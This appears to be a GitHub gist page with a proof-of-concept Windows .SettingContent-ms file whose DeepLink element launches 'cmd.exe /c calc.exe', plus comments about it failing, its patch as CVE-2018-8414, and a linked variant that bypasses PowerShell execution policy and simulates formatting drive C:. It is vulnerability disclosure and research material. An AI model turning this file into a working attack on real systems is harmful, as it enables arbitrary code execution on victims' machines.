Created
June 11, 2018 15:02
-
-
Save enigma0x3/b948b81717fd6b72e0a4baca033e07f8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<PCSettings> | |
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> | |
<ApplicationInformation> | |
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID> | |
<DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink> | |
<Icon>%windir%\system32\control.exe</Icon> | |
</ApplicationInformation> | |
<SettingIdentity> | |
<PageID></PageID> | |
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID> | |
</SettingIdentity> | |
<SettingInformation> | |
<Description>@shell32.dll,-4161</Description> | |
<Keywords>@shell32.dll,-4161</Keywords> | |
</SettingInformation> | |
</SearchableContent> | |
</PCSettings> |
When I try the POC, I get the following message: "Windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access the item."
I can manually run %windir%\system32\cmd.exe /c calc.exe
I can manually run %windir%\system32\control.exe
I have verified that the HostID guid is the same as other native settingcontent-ms files on my computer.
I have verified that the AppID value is the same as other native settingcontent-ms files on my computer.
I am not local admin on my machine. Is admin required? Other things I am doing wrong?
I have the same problem as unhackn
That would be because it was patched with CVE-2018-8414
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I have used the above code to run PowerShell, bypass execution policy, and run a simulated format on drive C: See my link below.
https://github.com/bvoris/SettingContent-MS-File-Execution/